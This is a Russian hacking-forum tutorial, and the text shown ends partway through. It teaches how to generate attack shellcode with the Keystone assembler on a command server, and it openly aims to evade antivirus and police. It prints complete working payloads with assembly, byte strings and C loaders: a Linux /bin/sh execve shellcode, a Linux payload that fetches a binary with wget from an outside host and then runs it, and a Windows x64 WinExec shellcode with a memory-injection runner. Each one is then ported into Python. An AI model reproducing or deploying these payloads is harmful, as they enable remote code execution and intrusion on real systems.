Пожалуйста, обратите внимание, что пользователь заблокирован
ИNTR0
В сети лежит огромное количество готовых к использованию вариаций шелл-кода. В том числе инструментов, которые могут генерировать нужный шелл-код под конкретную архитектуру. Какие-то инструменты хуже, какие-то лучше, так или иначе шелл-код является одним из ключевых элементом современных многоступенчатых атак. Вот только не все хак-группы уделяют должное внимание подготовке шелл-кода. А зря... Это связано с тем, что шелл-код нужно каждый раз пересобирать, обфусцировать, шифровать и добавлять каждый раз трюки анти-эмуляции, чтобы не один авер, не один мент не начал гавкать на твой козырной шелл-код. Вот только не все хотят этим заморачиваться, поэтому многие прибегают к социальной инженерии (СИ), убеждая ушастого юзверя отключить АВ, перейти по ссылке, открыть документ, выполнить скрипт, скачать установить и так далее... Безусловно СИ - мощная и нужная вещь, вот только полагаться исключительно на СИ, не самая лучшая тактика. Более практичный и стабильный подход, это когда все элементы многоступенчатой атаки отлажены и автоматизированы. В этой статье, как раз таки и пойдет речь об этой самой автоматизации в контексте генерации шелл-кода. В частности я расскажу как используя динамическую кодогенерацию можно транслировать ассемблерные инструкции в байт-код на лету, для создания боевых нагрузок и их генерации на стороне управляющего сервера. Изложенный подход в статье позволяет уйти от статики и перейти к динамике, тем самым адаптируя генерацию шелл-кода под нужный таргет и архитектуру. Способ далеко не новый, но он используется во всех "современных" хакерских инструментах.
Знакомство с Keystone-Engine
Keystone Engine — это мультиархитектурный, кроссплатформенный ассемблерный фреймворк с открытым исходным кодом. На базе которого можно строить свои собственные инструменты для реверс-инжинеринга и не только...
Проект живет по адресу
https://github.com/keystone-engine/keystone/
И у него даже есть свой собственный сайт! Правда документация на сайте скудная, хоть авторы этого детища и говорят, что у него интуитивный понятный API интерфейс...
https://www.keystone-engine.org/
Собственно давайте знакомиться с этим монстром. Устанавливаем keystone-engine. Создаем папку проекта и виртуальное окружение, далее ставим уже сам pip пакет.
Код:
mkdir shellcoding
cd shellcoding
python -m venv libs_env
libs_env\Scripts\activate
pip install keystone-engin
Берем example пример с сайта и запускаем его, чтобы убедиться, что всё работает.
Python:
from keystone import *
# separate assembly instructions by ; or \n
CODE = b"INC ecx; DEC edx"
try:
# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("%s = %s (number of statements: %u)" %(CODE, encoding, count))
except KsError as e:
print("ERROR: %s" %e)
Результат работы скрипта будет следующим.
Полученные числа: [65, 74] это опкоды ассемблерных инструкций, представленные в десятичной системе счисления. А вот число 2 в строке "number of statements" это количество ассемблерных инструкций, которые подсчитываются с помощью разделения инструкций, посредством точкой с запятой (
Для этого пройдемся циклом for по списку encoding, преобразовав каждое значение из списка используя формат 02х, а перед каждым элементом будем добавлять последовательность символов \x и затем все элементы из списка объединим в одну строку c помощью метода join().
Python:
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')
Результат работы изменённого скрипта.
Видим, что ассемблерные инструкции оттранслировались теперь как положено сразу в байт-код "\x41\x4a". Однако стоит помнить, что это всё же библиотека (фреймворк), а не компилятор и есть небольшая доля вероятности получить неправильные опкоды ассемблерных инструкций. Поэтому следует всегда проверять полученный результат с ожидаемым. Теперь возьмём шелл-код написанный на ассемблере и оттранслируем его аналогичным способом в байт-код.
Для наших тестов возьмём исходники разных шелл-кодов, предназначенных для разных архитектур: x86, x64, ARM, ARM64 и посмотрим как с этим справится Keystone-Engine, точней говоря мы посмотрим на сам процесс портирования. Но прежде, чем мы приступим, стоит заглянуть вот в этот sample файл.
https://github.com/keystone-engine/keystone/blob/master/samples/sample.c
В нём перечислены различные архитектуры и режимы под конкретный ассемблерный код. Этот файл некоего рода шпаргалка. Ведь когда мы собираемся ассемблировать определенный код, мы прописываем архитектуру и режим. Ранее мы прописывали в коде следующие параметры: KS_ARCH_X86 и KS_MODE_32, которые указывают Keystone-Engine, что мы будем работать с x86 архитектурой и 32-битными регистрами. Соответственно для x64 параметры будет KS_ARCH_X86, KS_MODE_64, а для ARM это будет KS_ARCH_ARM, KS_MODE_ARM итд.
C:
// X86
test_ks(KS_ARCH_X86, KS_MODE_16, "add eax, ecx", 0);
test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, ecx", 0);
test_ks(KS_ARCH_X86, KS_MODE_64, "add rax, rcx", 0);
test_ks(KS_ARCH_X86, KS_MODE_32, "add %ecx, %eax", KS_OPT_SYNTAX_ATT);
test_ks(KS_ARCH_X86, KS_MODE_64, "add %rcx, %rax", KS_OPT_SYNTAX_ATT);
test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 0x15", 0);
test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15h", 0);
test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15", 0);
// RADIX16 syntax Intel (default syntax)
test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15", KS_OPT_SYNTAX_RADIX16);
// RADIX16 syntax for AT&T
test_ks(KS_ARCH_X86, KS_MODE_32, "add $15, %eax", KS_OPT_SYNTAX_RADIX16 | KS_OPT_SYNTAX_ATT);
// ARM
test_ks(KS_ARCH_ARM, KS_MODE_ARM, "sub r1, r2, r5", 0);
test_ks(KS_ARCH_ARM, KS_MODE_ARM + KS_MODE_BIG_ENDIAN, "sub r1, r2, r5", 0);
test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "movs r4, #0xf0", 0);
test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "movs r4, #0xf0", 0);
// ARM64
test_ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN, "ldr w1, [sp, #0x8]", 0);
// Hexagon
test_ks(KS_ARCH_HEXAGON, KS_MODE_BIG_ENDIAN, "v23.w=vavg(v11.w,v2.w):rnd", 0);
// Mips
test_ks(KS_ARCH_MIPS, KS_MODE_MIPS32, "and $9, $6, $7", 0);
test_ks(KS_ARCH_MIPS, KS_MODE_MIPS32 + KS_MODE_BIG_ENDIAN, "and $9, $6, $7", 0);
test_ks(KS_ARCH_MIPS, KS_MODE_MIPS64, "and $9, $6, $7", 0);
test_ks(KS_ARCH_MIPS, KS_MODE_MIPS64 + KS_MODE_BIG_ENDIAN, "and $9, $6, $7", 0);
// PowerPC
test_ks(KS_ARCH_PPC, KS_MODE_PPC32 + KS_MODE_BIG_ENDIAN, "add 1, 2, 3", 0);
test_ks(KS_ARCH_PPC, KS_MODE_PPC64, "add 1, 2, 3", 0);
test_ks(KS_ARCH_PPC, KS_MODE_PPC64 + KS_MODE_BIG_ENDIAN, "add 1, 2, 3", 0);
// RISCV
test_ks(KS_ARCH_RISCV, KS_MODE_RISCV32 + KS_MODE_LITTLE_ENDIAN, "addi x0, x0, 10", 0);
test_ks(KS_ARCH_RISCV, KS_MODE_RISCV64 + KS_MODE_LITTLE_ENDIAN, "addiw x0, x0, 10", 0);
// Sparc
test_ks(KS_ARCH_SPARC, KS_MODE_SPARC32 + KS_MODE_LITTLE_ENDIAN, "add %g1, %g2, %g3", 0);
test_ks(KS_ARCH_SPARC, KS_MODE_SPARC32 + KS_MODE_BIG_ENDIAN, "add %g1, %g2, %g3", 0);
// SystemZ
test_ks(KS_ARCH_SYSTEMZ, KS_MODE_BIG_ENDIAN, "a %r0, 4095(%r15,%r1)", 0);
Все эти архитектуры и режимы прописаны в заголовочном файле keystone.h
https://github.com/keystone-engine/keystone/blob/master/include/keystone/keystone.h
Вот список архитектур
C:
// Architecture type
typedef enum ks_arch {
KS_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2)
KS_ARCH_ARM64, // ARM-64, also called AArch64
KS_ARCH_MIPS, // Mips architecture
KS_ARCH_X86, // X86 architecture (including x86 & x86-64)
KS_ARCH_PPC, // PowerPC architecture (currently unsupported)
KS_ARCH_SPARC, // Sparc architecture
KS_ARCH_SYSTEMZ, // SystemZ architecture (S390X)
KS_ARCH_HEXAGON, // Hexagon architecture
KS_ARCH_EVM, // Ethereum Virtual Machine architecture
KS_ARCH_RISCV, // RISC-V architecture
KS_ARCH_MAX,
} ks_arch;
а вот список режимов
C:
// Mode type
typedef enum ks_mode {
KS_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode)
KS_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode
// arm / arm64
KS_MODE_ARM = 1 << 0, // ARM mode
KS_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2)
KS_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM
// mips
KS_MODE_MICRO = 1 << 4, // MicroMips mode
KS_MODE_MIPS3 = 1 << 5, // Mips III ISA
KS_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA
KS_MODE_MIPS32 = 1 << 2, // Mips32 ISA
KS_MODE_MIPS64 = 1 << 3, // Mips64 ISA
// x86 / x64
KS_MODE_16 = 1 << 1, // 16-bit mode
KS_MODE_32 = 1 << 2, // 32-bit mode
KS_MODE_64 = 1 << 3, // 64-bit mode
// ppc
KS_MODE_PPC32 = 1 << 2, // 32-bit mode
KS_MODE_PPC64 = 1 << 3, // 64-bit mode
KS_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode
//riscv
KS_MODE_RISCV32 = 1 << 2, // 32-bit mode
KS_MODE_RISCV64 = 1 << 3, // 64-bit mode
// sparc
KS_MODE_SPARC32 = 1 << 2, // 32-bit mode
KS_MODE_SPARC64 = 1 << 3, // 64-bit mode
KS_MODE_V9 = 1 << 4, // SparcV9 mode
} ks_mode;
Так же в этом файле есть список асм синтаксисов поддерживаемых keystone-engine, но они реализованы не в полной мере...
C:
// Runtime option value (associated with ks_opt_type above)
typedef enum ks_opt_value {
KS_OPT_SYNTAX_INTEL = 1 << 0, // X86 Intel syntax - default on X86 (KS_OPT_SYNTAX).
KS_OPT_SYNTAX_ATT = 1 << 1, // X86 ATT asm syntax (KS_OPT_SYNTAX).
KS_OPT_SYNTAX_NASM = 1 << 2, // X86 Nasm syntax (KS_OPT_SYNTAX).
KS_OPT_SYNTAX_MASM = 1 << 3, // X86 Masm syntax (KS_OPT_SYNTAX) - unsupported yet.
KS_OPT_SYNTAX_GAS = 1 << 4, // X86 GNU GAS syntax (KS_OPT_SYNTAX).
KS_OPT_SYNTAX_RADIX16 = 1 << 5, // All immediates are in hex format (i.e 12 is 0x12)
} ks_opt_value;
Трансляция ассемблерного кода
Прежде чем мы приступи к портированию первого шелл-кода, дам небольшой совет для тех кто не работал с keystone-engine. При переносе ассемблерных листингов в keystone лучше не спешить и переносить код не целиком, а построчно, так будет понятно где ошибка и на какой ассемблерной инструкции keystone выдает ошибку. Такой подход позволит вам не только обнаружить неподдерживаемые инструкции, но и в случае "успешной" трансляции инструкций в опкоды, вы сможете заметить неправильное их числовое отображение.
x86
Перенесем следующий шелл-код в keystone.Linux/x86 - execve /bin/sh shellcode - 23 bytes by Hamza Megahed
Так же добавим оригинальный шелл-код и сравним его с нашим байт-кодом.
C:
/*****************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
********************************/
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
После переноса ассемблерного листинга, скрипт будет выглядить следующим образом.
Python:
from keystone import *
SHELLCODE_SRC = (
"xor %eax,%eax ;"
"push %eax ;"
"push $0x68732f2f ;"
"push $0x6e69622f ;"
"mov %esp,%ebx ;"
"push %eax ;"
"push %ebx ;"
"mov %esp,%ecx ;"
"mov $0xb,%al ;"
"int $0x80 ;"
)
original_sc = r"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
try:
ks = Ks(KS_ARCH_X86, KS_MODE_32)
ks.syntax = KS_OPT_SYNTAX_ATT
encoding, count = ks.asm(SHELLCODE_SRC)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)
except KsError as e:
print("ERROR: %s" %e)
Так же обратите внимание, что мы не стали менять синтаксис ассемблера AT&T на синтаксис Intel, а перенесли шелл-код в том виде, в котором он был изначально. Для этого мы просто прописали после инициализации класса Ks, следующую строку кода ks.syntax = KS_OPT_SYNTAX_ATT указав keystone-engine, что асм листинг будет в формате AT&T.
Ну, а после запуска скрипта результат будет таким.
Видим, что результат идентичен. Байт-код одинаковый. Но этот шелл-код довольно таки маленький, поэтому аналогичным способом можно перенести шелл-код который будет большего размера.
Например этот
Linux/x86 - Download + chmod + exec - 108 bytes by Daniel Sauder
C:
/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/
; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
; - length 108 bytes
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
xor eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
xor ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.2.222//x with wget
push 0xb
pop eax
cdq
push edx
push 0x782f2f32 ;2//x avoid null byte
push 0x32322e32 ;22.2
push 0x2e383631 ;.861
push 0x2e323931 ;.291
mov ecx,esp
push edx
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Переносим...
Python:
from keystone import *
SHELLCODE_SRC = (
"start: ;"
# fork
"xor eax,eax ;"
"mov al,0x2 ;"
"int 0x80 ;"
"xor ebx,ebx ;"
"cmp eax,ebx ;"
"jz child ;"
# wait(NULL)
"xor eax,eax ;"
"mov al,0x7 ;"
"int 0x80 ;"
# chmod x
"xor ecx,ecx ;"
"xor eax, eax ;"
"push eax ;"
"mov al, 0xf ;"
"push 0x78 ;"
"mov ebx, esp ;"
"xor ecx, ecx ;"
"mov cx, 0x1ff ;"
"int 0x80 ;"
# exec x
"xor eax, eax ;"
"push eax ;"
"push 0x78 ;"
"mov ebx, esp ;"
"push eax ;"
"mov edx, esp ;"
"push ebx ;"
"mov ecx, esp ;"
"mov al, 11 ;"
"int 0x80 ;"
"child: ;"
# download 192.168.2.222//x with wget
"push 0xb ;"
"pop eax ;"
"cdq ;"
"push edx ;"
"push 0x782f2f32 ;" # 2//x avoid null byte
"push 0x32322e32 ;" # 22.2
"push 0x2e383631 ;" # .861
"push 0x2e323931 ;" # .291
"mov ecx,esp ;"
"push edx ;"
"push 0x74 ;" # t
"push 0x6567772f ;" # egw/
"push 0x6e69622f ;" # nib/
"push 0x7273752f ;" # rsu/
"mov ebx,esp ;"
"push edx ;"
"push ecx ;"
"push ebx ;"
"mov ecx,esp ;"
"int 0x80 ;"
)
original_sc = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
try:
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(SHELLCODE_SRC)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')
print("\n")
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)
except KsError as e:
print("ERROR: %s" %e)
В этом примере стоит обратить внимание на метки: start, child. Первую метку "start:" в принципе можно игнорировать и не обязательно её писать (точка входа будет одна и таже - т.е. с первой строчки кода), но для "визуального удобства" мы её включили в код. А вот что касается второй метки она обязательна, так, как мы совершаем переход с помощью инструкции JZ к другому участку кода, который начинается с метки child. Кстати говоря о метках и разделениях инструкций, после того как мы заключилю метку в двойные кавычки "metka: " не обязательно внутри ставить точку с запятой.
Вот результат работы скрипта
x64
Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)
C:
/*
# Shellcode Title: Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)
# Shellcode Author: Bobby Cooke (boku)
# Date: 02/05/2021
# Tested on: Windows 10 v2004 (x64)
# Shellcode Description:
# 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
# Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads.
; Compile & get shellcode from Kali:
; nasm -f win64 popcalc.asm -o popcalc.o
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
###########################################################################################################################################
// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Переносим... так же не забываем заменить KS_MODE_32 на KS_MODE_64, чтобы указать Keystone-Engine, что мы работает с 64 битными регистрами.
Python:
from keystone import *
SHELLCODE_SRC = (
# Get kernel32.dll base address
"xor rdi, rdi ;" # RDI = 0x0
"mul rdi ;" # RAX&RDX =0x0
"mov rbx, gs:[rax+0x60] ;" # RBX = Address_of_PEB
"mov rbx, [rbx+0x18] ;" # RBX = Address_of_LDR
"mov rbx, [rbx+0x20] ;" # RBX = 1st entry in InitOrderModuleList / ntdll.dll
"mov rbx, [rbx] ;" # RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
"mov rbx, [rbx] ;" # RBX = 3rd entry in InitOrderModuleList / kernel32.dll
"mov rbx, [rbx+0x20] ;" # RBX = &kernel32.dll ( Base Address of kernel32.dll)
"mov r8, rbx ;" # RBX & R8 = &kernel32.dll
# Get kernel32.dll ExportTable Address
"mov ebx, [rbx+0x3C] ;" # RBX = Offset NewEXEHeader
"add rbx, r8 ;" # RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
"xor rcx, rcx ;" # Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
"add cx, 0x88ff ;"
"shr rcx, 0x8 ;" # RCX = 0x88ff --> 0x88
"mov edx, [rbx+rcx] ;" # EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
"add rdx, r8 ;" # RDX = &kernel32.dll + RVA ExportTable = &ExportTable
# Get &AddressTable from Kernel32.dll ExportTable
"xor r10, r10 ;"
"mov r10d, [rdx+0x1C] ;" # RDI = RVA AddressTable
"add r10, r8 ;" # R10 = &AddressTable
# Get &NamePointerTable from Kernel32.dll ExportTable
"xor r11, r11 ;"
"mov r11d, [rdx+0x20] ;" # R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
"add r11, r8 ;" # R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
# Get &OrdinalTable from Kernel32.dll ExportTable
"xor r12, r12 ;"
"mov r12d, [rdx+0x24] ;" # R12 = RVA OrdinalTable
"add r12, r8 ;" # R12 = &OrdinalTable
"jmp apis ;"
# Get the address of the API from the Kernel32.dll ExportTable
"getapiaddr: ;"
"pop rbx ;" # save the return address for ret 2 caller after API address is found
"pop rcx ;" # Get the string length counter from stack
"xor rax, rax ;" # Setup Counter for resolving the API Address after finding the name string
"mov rdx, rsp ;" # RDX = Address of API Name String to match on the Stack
"push rcx ;" # push the string length counter to stack
"loop: ;"
"mov rcx, [rsp] ;" # reset the string length counter from the stack
"xor rdi,rdi ;" # Clear RDI for setting up string name retrieval
"mov edi, [r11+rax*4] ;" # EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
"add rdi, r8 ;" # RDI = &NameString = RVA NameString + &kernel32.dll
"mov rsi, rdx ;" # RSI = Address of API Name String to match on the Stack (reset to start of string)
"repe cmpsb ;" # Compare strings at RDI & RSI
"je resolveaddr ;" # If match then we found the API string. Now we need to find the Address of the API
"incloop: ;"
"inc rax ;"
"jmp loop ;"
#; Find the address of GetProcAddress by using the last value of the Counter
"resolveaddr: ;"
"pop rcx ;" # remove string length counter from top of stack
"mov ax, [r12+rax*2] ;" # RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.
"mov eax, [r10+rax*4] ;" # RAX = RVA API = [&AddressTable + API OrdinalNumber]
"add rax, r8 ;" # RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress
"push rbx ;" # place the return address from the api string call back on the top of the stack
"ret ;" # return to API caller
"apis: ;" # API Names to resolve addresses
# WinExec | String length : 7
"xor rcx, rcx ;"
"add cl, 0x7 ;" # String length for compare string
"mov rax, 0x9C9A87BA9196A80F ;" # not 0x9C9A87BA9196A80F = 0xF0,WinExec
"not rax ;" # mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
"shr rax, 0x8 ;" # xEcoll,0xFFFF --> 0x0000,xEcoll
"push rax ;"
"push rcx ;" # push the string length counter to stack
"call getapiaddr ;" # Get the address of the API from Kernel32.dll ExportTable
"mov r14, rax ;" # R14 = Kernel32.WinExec Address
# UINT WinExec(
# LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
# UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
# );
